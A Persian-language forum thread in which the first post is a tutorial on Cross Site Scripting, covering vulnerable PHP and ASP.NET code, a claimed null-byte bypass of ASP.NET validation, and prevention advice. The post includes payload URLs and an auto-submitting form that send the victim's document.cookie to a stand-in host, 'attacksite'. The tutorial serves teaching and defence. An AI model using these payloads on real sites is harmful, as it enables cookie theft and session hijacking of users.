نمایش نتایج: از شماره 1 تا 3 از مجموع 3

موضوع: حملات Cross Site Scripting

  
  1. #1


    خواننده
    تاریخ عضویت
    May 2006
    نوشته
    57
    سپاسگزاری شده
    4
    سپاسگزاری کرده
    9

    Icon13 حملات Cross Site Scripting

    قسمت اول :

    تعريف Xss : وب سايتهاي پويا از طريق برنامه هايي از طريق برنامه هايي که تحت وب اجرا ميشوند ايجاد ميشود. اين برنامه ها اين قابليت ر ايجاد ميکنند که صفحات ايجاد شده بر روي سايتها بسيار انعطاف پذير باشند و بسته به نوع کاربراني که از سايت ديدن ميکنند در صفحه ايجاد شده تغييراتي اعمال ميکنند. وب سايتهايي که حالت پويا دارند بر خلاف وب سايتهاي ايستا (Static) در برابر دستوراتي که کاربران وارد ميکنند حساس هستند و همين امر باعث ميشود که XSS بوجود آيد . XSS يا Cross Site Scripting به حملاتي گفته ميشود که برنامه تحت وبي که مسئوليت ايجاد صفحات را دارد توسط يک URL خاص از طرف کاربر مورد درخواست قرار ميگيرد و نتيجه اين درخواست حاوي SCRIPT هاي مخرب ميباشد . اين درخواست ها اکثرا بصورت يک آدرس اينترنتي يا لينک ميباشند که توسط آن درخواستي با کد خاص براي برنامه تحت وب فرستاده ميشود. وقتي اين لينک براي يک کاربر فرستاده ميشود به محض کليک کردن روي آن ابتدا يک درخواست با آن کد خاص براي برنامه تحت وب ارسال ميشود سپس کدي که در آن لينک موجود بود اجرا ميشود . براي مثال ميتوان با يک کد خاص به زبان جاوا اسکريپت کوکي کاربر هدف را از طريق برنامه تحت وب دريافت کرد . همانطور که در بالا اشاره شد به اين نوع درخواستها Cross Site Scripting گفته ميشود که مخفف آن CSS ميباشد ولي چون کلمه CSS مخفف عبارت Cascading Style Sheets هم ميباشد براي جلوگيري از اشتباه به آن واژه مخفف XSS را داده اند . پس هرجا صحبت از XSS شد ميدونيد که منظور کراس سايت اسکريپتينگ است . معمولا حملات XXS بصورت موقت و فقط درجواب درخواست کننده URL مخرب ايجاد ميشود و يک نوع ديگري از اين حملات وجود دارد که با نام XSS Injection معروف ميباشند . در اين حملات کدها يا همون اسکريپت ها از قبل درون يک صفحه تزريق شده اند (Code Injection) و در هر بار که کاربري صفحات را مرور ميکند اجرا ميشوند به اين جهت که به واسطه صفحات يک سايت و به طور ناخواسته کدهاي مخرب را در مرورگر کاربر اجرا ميکنند به اين نام شناخته ميشوند .

    قسمت دوم :

    Xss زماني زخ ميده که برنامه تحت وب بخوبي ورودي ها و در خواستهايي را که توسط کاربران ارسال ميشود تجزيه و تحليل نکند . در اين صورت برنامه آسيب پذير رشته هاي ارسال شده توسط کاربر را در صفحه خروجي نشان ميدهد . براي مثال به کدهاي زير توجه کنيد :

    PHP

    <?php echo "hello , $HTTP_GET_VARS['name']"; ?>

    ASP.NET (Visual Basic.NET)

    <% Response.Write("hello,"+ Request.QueryString("name")) %>

    ASP.NET (C# .NET)

    <% Response.Write("Hello , " +Request.QueryString["name"0; %>

    پس ارسال درخواست http://sitehost/testpage.php?name=hacker توسط متد GET يه برنامه آسيب پذير ، برنامه مقاديري که درون متغير $name مقدار دهي شده اند را درون صفحه بازگشتي قرار ميدهد و پاسخ روبرو بصورت يک صفحه HTML در مرورگر نشان داده ميشود :

    درخواست :

    GET /testpage.php?name=firehacker HTTP/1.1

    HOST : testhost

    پاسخ :

    Hello, Hacker

    حالا با استفاده از درخواستهاي XSS ميتوانيم خروجي اين برنامه را تغيير دهيم . :

    درخواست :

    GET /testpage.php?name=<Script>alert('This Site Is Hacked !');</Script> HTTP/1.1

    HOST : testhost




    برنامه آسيب پذير کد Hello, <Script>alert('This Site is Hacked !');</Script> را درون صفحه بازگشتي قرار ميدهد . XSS باعث ميشود که بتوان انواع کدهايي را که مرورگر پشتيباني ميکنند (HTML,JavaScript,Flash,Activex,VBscript,...) توسط اين برنامه آسيب پذير بر روي مرورگر آدرس هاي XSS اجرا کرد .

    نکته : در صفحات ASP.net سيستم امنيتي وجود دارد که کدهاي مخرب XSS را تشخيص داده و جلوي اجرا شدن آنرا ميگيرد . اين سيستم به صورت پيش فرض فعال ميباشد .



    ولي متاسفانه اين سيستم نيز آسيب پذير ميباشد و نفوذگر با استفاده از کد %00 (معادل NULL) درون عبارت XSS خود ميتواند اين سيستم را نيز رد کند. سيستم فوق با استفاده از تگ ValidateRequest که در فرآيند Header وب فرمها تعريف ميشود فعال و غير فعال ميشود براي مثال استفاده از ValidateRequest="True" اين سيستم را فعال ميکند.

    قسمت سوم :

    ميدانيم که Css/Xss از ضعف صفحات پويا استفاده ميکند پس طبيعتا براي جلوگيري از اين حملات بايد صفحات پويا را ايمن کرد و براي ايمن کردن يک صفحه پويا در برابر CSS/XSS بايد کدنويسي آن را تغيير داد. خب براي راحت تر کردن کار از يک مثال از اين حملات استفاده ميکنم . يک صفحه پويا با نام asip_pazir.php داريم که آرگومانهاي a و b را مقدار دهي ميکند و به صفحه باز ميگرداند و صفحه نيز نتايج آنها را به صورت دستورات HTML به مرورگر بازميگرداند . آرگومان اول يک نام را دريافت ميکند و آرگومان دوم يک عدد را که سايز فونت را تعيين ميکند و صفحه با اين 2 آرگومان صفحه HTML يي با کد زير را برميگرداند .

    <html>

    <head>

    <title> Hackers Security Team</title>

    </head>

    <body>

    <p><font size="b">a</font></p>

    </body>

    </html>

    براي يک نفوذگر دانستن سورس صفحه پويا بسيار مهم است ولي در اين مثال نفوذگر فقط با ديدن نتيجه و دستکاري کردن ورودي ها حفره را مشخص ميکند. خب اکنون نفوذگر آرگومان يک را خالي ميگذارد و آرگومان دوم را زيرکانه بصورت زير تنظيم ميکند .

    asib_pazir.php?b=2">hi</font></p><script>yek code java</script><p><font size"5

    يعني مقدار آرگومان دوم را hi</font></p><script>yek code java</script><p><font size"52 مقدار دهي ميکند تا با ارسال URL بالا صفحه زير برگردد .

    <html>

    <head>

    <title> Hackers Security Team</title>

    </head>

    <body>

    <p><font size="2">hi</font></p><script>code java</script><p><font size"5"></font></p>

    </body>

    </html>

    خوب واضح است که هر کسي که اين صفحه را باز کند کد جاوا را نيز ناخود آگاه اجرا ميکند! نفوذگر براحتي کد جاواي مربوطه را با يک کد مخرب مقدار دهي ميکند و در مرورگر قرباني اجرا ميکند.

    قسمت چهارم :

    در اين بخش شما را با چندين مثال از درخواستهاي XSS آشنا ميکنيم که به قدرت اين گونه درخواستها پي ببريد . با کليک کاربر بر روي آدرس هاي XSS مربوط به سايت آسيب پذير کدهاي مربوطه درون مرورگر وي اجرا شده و عمليات گفته شده براي کاربر اتفاق ميافتد .

    ارسال کاربر به يک جاي ديگر :

    http://testhost/test.php?name=<script>document.location.replace('h ttp://attacksite')</script>

    دريافت کوکي کاربر :

    http://testhost/test.php?name=<script>document.location.replace('h ttp://attacksite/?c='%2Bdocument.cookie)</script>

    کد فوق کوکي سايت http://testhost/ را براي سايت http://attacksite/ ارسال ميکند و آن را در متغير $C قرار ميدهد. حالا با برنامه اي که نفوذگر در attacksite نوشته است ميتواند اين کوکي را درون فايل و يا ايميل و .. ذخيره کند. . دريافت کوکي کاربر با استفاده از نمايش يک صفحه :

    <form name=f method=POST action="http://testhost/test.php">

    <input type=hidden name="name"

    value="<script>document.location.replace

    ('http://attacksite/?c='+document.cookie)</script>">

    </form>

    <script>f.submit()</script>

    به محض نمايش صفحه فوق توسط کاربر يک درخواست با استفاده از متد POST براي http://attacksite/ ارسال شده و کوکي کاربر هدف را در متغير $c قرار ميدهد. در اين روش ما از لينک استفاده نکرديم کافي است آدرس سايتي را که کد فوق در صفحات آن موجود است را براي کاربر هدف ارسال کنيم.. نحوه برنامه نويسي جهت ايميل کردن يا ذخيره کوکي هاي ارسالي خارج از حوصله اين بحث ميباشد .

    قسمت پنجم :

    در برنامه نويسي تحت وب همواره نکات زير را مد نظر داشته باشيد تا از حملات XSS در امان بمانيد .

    1.به ورودي هاي کاربران اطمينان نکنيد و همواره metacharacter را فيلتر کنيد.

    2. دو نشانه < و > را به ;lt& و ;gt& تبديل کنيد.

    3. دو نشانه ( و ) را به ;40#& و ;41#& تبديل کنيد.

    4.دو نشانه # و & را به 35#& و 38#& تبديل کنيد.

    5.سعي کنيد با پيکر بندي مناسب وب سورس صفحات پويا را از ديد عموم پنهان نگه داريد .

    6.تا حد امکان از Engine هاي وب و پورتال هاي از پيش نوشته شده استفاده نکنيد .

    7.دسترسي به پنل ادمين را فقط محدود به کوکي و حتي پسوورد نکنيد سعي کنيد چندين مرحله براي دسترسي به پنل ادمين طراحي کنيد . اين مورد در حملات CSS/XSS اهميت بيشتري پيدا ميکند.

    8.با وجود آنکه اين باگها فراوان و اکثرا کم خطرند آنها را دست کم نگيريد.

    9.هر چند وقت يک بار سايت خود را توسط يک تيم امنيتي آزمايش کنيد تا مشکلات سايت خود را قبل از انکه دير شود رفع کنيد.

    10.هميشه اطلاعات فني خود را بروز نگه داريد

    اگر از بان برنامه نويسي PHP استفاده ميکنيد يکي از توابعي که شما را بسيار در کنترل ورودي هاي کاربران کمک ميکند htmlspecialchar() ميباشد . همواره بعد از اينکه با يک درخواست متغير مقدار دهي شد با استفاده از اين دستور آن را به کد HTML تبديل و سپس در برنامه خود از آن متغير استفاده کنيد . (در زبانهاي .net ميتوان از تابع HtmlEncode () واقع در system.web.httputility استفاده کرد.

    متغير هاي خود را محدود کنيد. يعني آنهايي را که بايد از طريق متد GET ارسال شوند را با $HTTP_GET_VARS محدود کرده و آنهايي را که از طريق متد POST ارسال ميشوند را يا $HTTP_POST_VARS محدود کنيد . بدين صورت حمله کننده نميتواند با استفاده از هر لينکي به برنامه شما درخواست ارسال نمايد . (متغير هاي ذکر شده به زبان PHP ميباشند) . با استفاده از دستور urlencode() آدرس اينترنتي کاربر را کد کنيد . (تابع ذکر شده به زبان PHP ميباشد).

    قسمت ششم :

    بهترين و آسانترين راه در محافظت خود در برابر XSS اين است که تنها با استفاه از لينکهايي که در خود وب سايتها موجود ميباشد به قسمتهاي مختلف آن رجوع کنيد . وقتي شما وب سايتي را مشاهده ميکنيد که براي مثال به وب سايت CNN لينک داده است بجاي کليک کردن روي لينک آن خودتان آدرس سايت CNN را وارد کرده و با استفاده از موتور جستجوگر اين سايت مطلب مورد نظر خود را پيدا کنيد . با اين روش 99% شما در برابر XSS محافظت ميشويد . گاهي اوقات XSS زماني اتفاق ميافتد که شما در حال باز کردن ايميل ، ضميمه ايميل و يا تالارهاي گفتمان وب سايتها که حالت عمومي دارند هستيد . در اين مواقع خيلي مراقب باشيد . بهترين راه حل اين است که هنگام مشاهده اين صفحات دستورات JAVASCRIPT را در مرورگر خود غير فعال کنيد و امنيتي کوکي هاي خود را روي درجه HIGH بزاريد تا از ارسال کوکي هاي شما بصورت ناخواسته جلوگيري کنيد.

    و در ضمن برای وب مسترهای عزیز ایرانی که از اسکریپتهای مختلف ساخت فروم استفاده میکنند این توصیه رو دارم که همیشه به سایت اصلی سازنده اسکریپت برای یافتن پچ های جدید سر بزنید. در صورتی که فروم مهمی دارید + اینکه به سایت اصلی سازنده سر میزنید همیشه در سایتهای هک برای پیدا کردن باگهای prv8 سرچ کنید.
    نظرات و سوالات خود را Replay کنید.



    موضوعات مشابه:

  2. #2
    نام حقيقي: محمد حکیمی

    Administrator شناسه تصویری Hakimi
    تاریخ عضویت
    Dec 2002
    محل سکونت
    تهران
    نوشته
    6,546
    سپاسگزاری شده
    6792
    سپاسگزاری کرده
    1032
    نوشته های وبلاگ
    4
    آموزنده بود.
    ممنون


    محمد حکیمی
    hakimi [a t] gmail.com

  3. #3


    عضو غیر فعال شناسه تصویری ahoa
    تاریخ عضویت
    Nov 2006
    نوشته
    25
    سپاسگزاری شده
    5
    سپاسگزاری کرده
    0
    خیلی ممنون



کلمات کلیدی در جستجوها:

حملات xss

حملات کوکی cross siteانواع حمله xssبامثالحملات xss و انواع آنانوع حملات xssساخت صفحه xxsانواع Xssهک Cross Site Scriptingباز کردن ساخت کوکی در آیزا 2006حملات اینترنتی xssایجادحمله باکوکیهاانواع حملات Cross-Site Scripting (XSScross site scripting prevention .netحمله xss با method postفعال کردن کوکی در مرورگرمتد post get در isa 2004cross site cookieپچxxsكد HTTP_GET_VARStmg cross site scriptingCross Site Scripting حمله باجلوگيري از حملات xss به سايتحملات از نوع XSS

برچسب برای این موضوع

مجوز های ارسال و ویرایش

  • شما نمی توانید موضوع جدید ارسال کنید
  • شما نمی توانید به پست ها پاسخ دهید
  • شما نمی توانید فایل پیوست ضمیمه کنید
  • شما نمی توانید پست های خود را ویرایش کنید
  •